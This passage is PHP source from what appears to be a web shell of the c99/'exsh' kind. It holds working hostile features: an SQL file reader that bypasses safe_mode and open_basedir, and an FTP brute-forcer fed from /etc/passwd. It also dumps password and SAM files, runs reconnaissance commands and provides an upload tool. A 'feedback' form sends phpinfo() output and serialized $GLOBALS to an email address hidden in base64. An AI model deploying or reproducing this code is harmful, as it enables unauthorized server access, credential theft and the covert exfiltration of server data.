1084    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
1085    if (!empty($sql_act)) {
1086     echo "<hr size=\"1\" noshade>";
1087     if ($sql_act == "newdb") {
1088      echo "<b>";
1089      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
1090      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
1091     }
1092     if ($sql_act == "serverstatus") {
1093      $result = mysql_query("SHOW STATUS", $sql_sock);
1094      echo "<center><b>Server-status variables:</b><br><br>";
1095      echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
1096      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1097      echo "</table></center>";
1098      mysql_free_result($result);
1099     }
1100     if ($sql_act == "servervars") {
1101      $result = mysql_query("SHOW VARIABLES", $sql_sock);
1102      echo "<center><b>Server variables:</b><br><br>";
1103      echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
1104      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1105      echo "</table>";
1106      mysql_free_result($result);
1107     }
1108     if ($sql_act == "processes") {
1109      if (!empty($kill)) {
1110        $query = "KILL ".$kill.";";
1111        $result = mysql_query($query, $sql_sock);
1112        echo "<b>Process #".$kill." was killed.</b>";
1113      }
1114      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
1115      echo "<center><b>Processes:</b><br><br>";
1116      echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
1117      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
1118      echo "</table>";
1119      mysql_free_result($result);
1120     }
1121     if ($sql_act == "getfile")
1122     {
1123      $tmpdb = $sql_login."_tmpdb";
1124      $select = mysql_select_db($tmpdb);
1125      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
1126      if ($select)
1127      {
1128       $created = FALSE;
1129       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
1130       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
1131       $result = mysql_query("SELECT * FROM tmp_file;");
1132       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
1133       else
1134       {
1135        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
1136        $f = "";
1137        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
1138        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
1139        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
1140        mysql_free_result($result);
1141        mysql_query("DROP TABLE tmp_file;");
1142       }
1143      }
1144      mysql_drop_db($tmpdb);
1145     }
1146    }
1147   }
1148 }
1149 echo "</td></tr></table>\n";
1150 if ($sql_sock) {
1151   $affected = @mysql_affected_rows($sql_sock);
1152   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
1153   echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
1154 }
1155 echo "</table>\n";
1156 }
1157 //End of SQL Manager
1158 if ($act == "ftpquickbrute") {
1159 echo "<center><table><tr><td class=barheader colspan=2>";
1160 echo ".: Ftp Quick Brute :.</td></tr>";
1161 echo "<tr><td>";
1162 if ($win) { echo "Can't run on Windows!"; }
1163 else {
1164   function exftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
1165     if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
1166     else {$TRUE = TRUE;}
1167     if ($TRUE) {
1168       $sock = @ftp_connect($host,$port,$timeout);
1169       if (@ftp_login($sock,$login,$pass)) {
1170         echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
1171         ob_flush();
1172         return TRUE;
1173       }
1174     }
1175   }
1176   if (!empty($submit)) {
1177     if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
1178     $fp = fopen("/etc/passwd","r");
1179     if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
1180     else {
1181       if ($fqb_logging) {
1182         if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
1183         else {$fqb_logfp = FALSE;}
1184         $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
1185         if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1186       }
1187       ob_flush();
1188       $i = $success = 0;
1189       $ftpquick_st = getmicrotime();
1190       while(!feof($fp)) {
1191         $str = explode(":",fgets($fp,2048));
1192         if (exftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
1193           echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
1194           $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
1195           if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1196           $success++;
1197           ob_flush();
1198         }
1199         if ($i > $fqb_lenght) {break;}
1200         $i++;
1201       }
1202       if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
1203       $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
1204       echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
1205       $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
1206       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1207       if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
1208       fclose($fqb_logfp);
1209     }
1210   }
1211   else {
1212     $logfile = $tmpdir_logs."exsh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
1213     $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
1214     echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">".
1215          "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
1216          "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
1217          "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
1218          "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
1219          "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
1220          "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
1221   }
1222   echo "</td></tr></table></center>";
1223 }
1224 }
1225 if ($act == "d") {
1226   if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
1227   else {
1228     echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
1229     if (!$win) {
1230       echo "<tr><td><b>Owner/Group</b></td><td> ";
1231       $ow = posix_getpwuid(fileowner($d));
1232       $gr = posix_getgrgid(filegroup($d));
1233       $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
1234     }
1235     echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
1236   }
1237 }
1238 if ($act == "phpinfo") {@ob_clean(); phpinfo(); exshexit();}
1239 if ($act == "security") {
1240   echo "<div class=barheader>.: Server Security Information :.</div>\n".
1241        "<table>\n".
1242        "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>\n";
1243   echo "<td>Password File</td><td>";
1244   if (!$win) {
1245     if ($nixpasswd) {
1246       if ($nixpasswd == 1) {$nixpasswd = 0;}
1247       echo "*nix /etc/passwd:<br>";
1248       if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
1249       if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
1250       echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
1251       $i = $nixpwd_s;
1252       while ($i < $nixpwd_e) {
1253         $uid = posix_getpwuid($i);
1254         if ($uid) {
1255           $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
1256           echo join(":",$uid)."<br>";
1257         }
1258         $i++;
1259       }
1260     }
1261     else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>Download /etc/passwd</b></a>";}
1262   }
1263   else {
1264     $v = $_SERVER["WINDIR"]."\repair\sam";
1265     if (!file_get_contents($v)) { echo "<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b></a>"; }
1266   }
1267   echo "</td></tr>\n";
1268   echo "<tr><td>Config Files</td><td>\n";
1269   if (!$win) {
1270     $v = array(
1271         array("User Domains","/etc/userdomains"),
1272         array("Cpanel Config","/var/cpanel/accounting.log"),
1273         array("Apache Config","/usr/local/apache/conf/httpd.conf"),
1274         array("Apache Config","/etc/httpd.conf"),
1275         array("Syslog Config","/etc/syslog.conf"),
1276         array("Message of The Day","/etc/motd"),
1277         array("Hosts","/etc/hosts")
1278     );
1279     $sep = "/";
1280   }
1281   else {
1282     $windir = $_SERVER["WINDIR"];
1283     $etcdir = $windir . "\system32\drivers\etc\\";
1284     $v = array(
1285         array("Hosts",$etcdir."hosts"),
1286         array("Local Network Map",$etcdir."networks"),
1287         array("LM Hosts",$etcdir."lmhosts.sam"),
1288     );
1289     $sep = "\\";
1290   }
1291   foreach ($v as $sec_arr) {
1292     $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
1293     $sec_d = rtrim($sec_arr[1],$sec_f);
1294     $sec_full = $sec_d.$sec_f;
1295     $sec_d = rtrim($sec_d,$sep);
1296     if (file_get_contents($sec_full)) {
1297       echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ] \n";
1298     }
1299   }
1300   echo "</td></tr>";
1301 
1302   function displaysecinfo($name,$value) {
1303     if (!empty($value)) {
1304       echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>\n";
1305     }
1306   }
1307   if (!$win) {
1308     displaysecinfo("OS Version",exexec("cat /proc/version"));
1309     displaysecinfo("Kernel Version",exexec("sysctl -a | grep version"));
1310     displaysecinfo("Distrib Name",exexec("cat /etc/issue.net"));
1311     displaysecinfo("Distrib Name (2)",exexec("cat /etc/*-realise"));
1312     displaysecinfo("CPU Info",exexec("cat /proc/cpuinfo"));
1313     displaysecinfo("RAM",exexec("free -m"));
1314     displaysecinfo("HDD Space",exexec("df -h"));
1315     displaysecinfo("List of Attributes",exexec("lsattr -a"));
1316     displaysecinfo("Mount Options",exexec("cat /etc/fstab"));
1317     displaysecinfo("lynx installed?",exexec("which lynx"));
1318     displaysecinfo("links installed?",exexec("which links"));
1319     displaysecinfo("GET installed?",exexec("which GET"));
1320     displaysecinfo("Where is Apache?",exexec("whereis apache"));
1321     displaysecinfo("Where is perl?",exexec("whereis perl"));
1322     displaysecinfo("Locate proftpd.conf",exexec("locate proftpd.conf"));
1323     displaysecinfo("Locate httpd.conf",exexec("locate httpd.conf"));
1324     displaysecinfo("Locate my.conf",exexec("locate my.conf"));
1325     displaysecinfo("Locate psybnc.conf",exexec("locate psybnc.conf"));
1326   }
1327   else {
1328     displaysecinfo("OS Version",exexec("ver"));
1329     displaysecinfo("Account Settings",exexec("net accounts"));
1330     displaysecinfo("User Accounts",exexec("net user"));
1331   }
1332   echo "</table>\n";
1333 }
1334 if ($act == "mkfile") {
1335   if ($mkfile != $d) {
1336     if ($overwrite == 0) {
1337       if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); }
1338     }
1339     else {
1340       if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); }
1341       else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile); }
1342     }
1343   }
1344   else { echo "<div class=fxerrmsg>Enter filename!</div>\r\n"; }
1345 }
1346 if ($act == "encoder") {
1347 echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".
1348      "<form name=\"encoder\" action=\"".$surl."\" method=POST>".
1349      "<input type=hidden name=act value=encoder>".
1350      "<center><table class=contents>".
1351      "<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
1352      "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
1353      "<input type=submit value=\"calculate\"></td></tr>".
1354      "<tr><td rowspan=4>Hashes:</td>";
1355 foreach(array("md5","crypt","sha1","crc32") as $v) {
1356   echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
1357 }
1358 echo "</tr>".
1359      "<tr><td rowspan=2>Url:</td>".
1360      "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
1361      "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
1362      "<tr><td rowspan=2>Base64:</td>".
1363      "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
1364      "<tr><td>base64_decode:</td><td>";
1365 if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}
1366 else {
1367   $debase64 = base64_decode($encoder_input);
1368   $debase64 = str_replace("&#92;&#48;","[0]",$debase64);
1369   $a = explode("\r\n",$debase64);
1370   $rows = count($a);
1371   $debase64 = htmlspecialchars($debase64);
1372   if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }
1373   else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }
1374   echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
1375 }
1376 echo "</td></tr>".
1377      "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
1378 $c = strlen($encoder_input);
1379 for($i=0;$i<$c;$i++) {
1380   $hex = dechex(ord($encoder_input[$i]));
1381   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
1382   elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
1383 }
1384 echo "\" readonly></td></tr></table></center></form>";
1385 }
1386 if ($act == "fsbuff") {
1387   $arr_copy = $sess_data["copy"];
1388   $arr_cut = $sess_data["cut"];
1389   $arr = array_merge($arr_copy,$arr_cut);
1390   if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
1391   else {
1392     $fx_infohead = "File-System Buffer";
1393     $ls_arr = $arr;
1394     $disp_fullpath = TRUE;
1395     $act = "ls";
1396   }
1397 }
1398 if ($act == "selfremove") {
1399   if (($submit == $rndcode) and ($submit != "")) {
1400     if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".$sh_name."!"; exshexit(); }
1401     else { echo "<center><b>Can't delete ".__FILE__."!</b></center>"; }
1402   }
1403   else {
1404     if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
1405     $rnd = rand(0,9).rand(0,9).rand(0,9);
1406     echo "<form action=\"".$surl."\">\n".
1407          "<input type=hidden name=act value=selfremove>".
1408          "<input type=hidden name=rndcode value=\"".$rnd."\">".
1409          "<b>Kill-shell: ".__FILE__." <br>".
1410          "<b>Are you sure? For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=text name=submit>&nbsp;<input type=submit value=\"YES\">\n".
1411          "</form>\n";
1412   }
1413 }
1414 if ($act == "update") {
1415   $ret = exsh_getupdate(!!$confirmupdate);
1416   echo "<b>".$ret."</b>";
1417   if (stristr($ret,"new version")) {
1418     echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";
1419   }
1420 }
1421 if ($act == "feedback") {
1422   $suppmail = base64_decode("c2ltdWthczIxQGhvdG1haWwuY29t");
1423   if (!empty($submit)){
1424     $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
1425     $body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
1426     if (!empty($fdbk_ref)) {
1427       $tmp = @ob_get_contents();
1428       ob_clean();
1429       phpinfo();
1430       $phpinfo = base64_encode(ob_get_contents());
1431       ob_clean();
1432       echo $tmp;
1433       $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
1434     }
1435     mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail);
1436     echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
1437   }
1438   else {
1439     echo "<form action=\"".$surl."\" method=POST>".
1440          "<input type=hidden name=act value=feedback>".
1441          "<table class=contents><tr><td class=barheader colspan=2>".
1442          ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.</td></tr>".
1443          "<tr><td>Your name:</td><td><input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"></td</tr>".
1444          "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"></td></tr>".
1445          "<tr><td>Message:</td><td><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br>".
1446          "<input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked> Attach Server info (Recommended for bug-fix)<br>".
1447          "*Language: English, Indonesian.</td></tr>".
1448          "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
1449          "</table>\n";
1450   }
1451 }
1452 if ($act == "fxmailer") {
1453   if (!empty($submit)){
1454     $headers = 'To: '.$dest_email."\r\n";
1455     $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n";
1456     if (mail($suppmail,$sender_subj,$sender_body,$header)) {
1457       echo "<center><b>Email sent!</b></center>";
1458     }
1459     else { echo "<center><b>Can't send email!</b></center>"; }
1460   }
1461   else {
1462     echo "<form action=\"".$surl."\" method=POST>".
1463          "<input type=hidden name=act value=fxmailer>".
1464          "<table class=contents><tr><td class=barheader colspan=2>".
1465          ".: $sh_name Mailer :.</td></tr>".
1466          "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>".
1467          "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>".
1468          "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"".htmlspecialchars($dest_email)."\"></td></tr>".
1469          "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>".
1470          "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>".htmlspecialchars($sender_body)."</textarea><br>".
1471          "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
1472          "</table>\n";
1473   }
1474 }
1475 if ($act == "search") {
1476   echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
1477   if (empty($search_in)) {$search_in = $d;}
1478   if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
1479   if (empty($search_text_wwo)) {$search_text_regexp = 0;}
1480   if (!empty($submit)) {
1481     $found = array();
1482     $found_d = 0;
1483     $found_f = 0;
1484     $search_i_f = 0;
1485     $search_i_d = 0;
1486     $a = array(
1487         "name"=>$search_name,
1488         "name_regexp"=>$search_name_regexp,
1489         "text"=>$search_text,
1490         "text_regexp"=>$search_text_regxp,
1491         "text_wwo"=>$search_text_wwo,
1492         "text_cs"=>$search_text_cs,
1493         "text_not"=>$search_text_not
1494     );
1495     $searchtime = getmicrotime();
1496     $in = array_unique(explode(";",$search_in));
1497     foreach($in as $v) {exfsearch($v);}
1498     $searchtime = round(getmicrotime()-$searchtime,4);
1499     if (count($found) == 0) {echo "No files found!";}
1500     else {
1501       $ls_arr = $found;
1502       $disp_fullpath = TRUE;
1503       $act = "ls";
1504     }
1505   }
1506   echo "<table class=contents>".
1507        "<tr><td><form method=POST>".
1508        "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">".
1509        "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".
1510        "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
1511        "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
1512        "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".
1513        "  <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".
1514        "  <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".
1515        "  <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".
1516        "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".
1517        "</table>\n";
1518   if ($act == "ls") {
1519     $dspact = $act;
1520     echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
1521          "<hr size=\"1\" noshade>";
1522   }
1523 }
1524 if ($act == "chmod") {
1525   $mode = fileperms($d.$f);
1526   if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
1527   else {
1528     $form = TRUE;
1529     if ($chmod_submit) {
1530       $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
1531       if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; }
1532       else {$err = "Can't chmod to ".$octet.".";}
1533     }
1534     if ($form) {
1535       $perms = parse_perms($mode);
1536       echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
1537     }
1538   }
1539 }
1540 if ($act == "upload") {
1541   $uploadmess = "";
1542   $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
1543   if (empty($uploadpath)) {$uploadpath = $d;}
1544   elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
1545   if (!empty($submit)) {
1546     global $_FILES;
1547     $uploadfile = $_FILES["uploadfile"];
1548     if (!empty($uploadfile["tmp_name"])) {
1549       if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
1550       else {$destin = $userfilename;}
1551       if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
